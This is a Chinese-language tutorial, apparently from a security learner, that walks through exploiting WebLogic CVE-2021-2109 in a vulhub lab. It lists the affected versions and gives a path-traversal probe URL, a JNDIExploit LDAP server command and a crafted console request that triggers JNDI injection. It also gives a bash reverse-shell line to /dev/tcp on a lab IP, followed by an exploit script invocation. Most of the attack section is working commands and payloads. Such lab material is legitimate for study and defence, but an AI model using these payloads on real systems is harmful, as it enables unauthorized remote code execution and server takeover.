文中主要讲解Weblogic漏洞,通过文中的漏洞步骤了解中间件漏洞原理;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
WebLogic CVE-2021-2109远程代码执行
测试环境:使用vulhub环境
JNDI是是为Java应用程序提供命名和目录访问服务的API ,也就是我们所说的应用程序编程接口。
原理:
攻击者可通过LDAP协议,实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。
影响版本:
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
检查漏洞是否存在:
/console/css/%252e%252e%252f/consolejndi.portal #如页面存在,且在影响范围版本,则漏洞可能存在。
启动LDAP:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.45.135
漏洞复现:
拼接地址进行远程命令执行:
GET方式:
?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.45;135:1389/Basic/WeblogicEcho;AdminServer%22)
POST方式:
反弹shell连接:
bash -i >& /dev/tcp/192.168.45.135/12345 0>&1
此反弹shell需要进行加密:
通过命令执行,完成反弹:
反弹成功:
利用EXP脚本进行检测并反弹cmd:
python3 CVE-2021-2109.py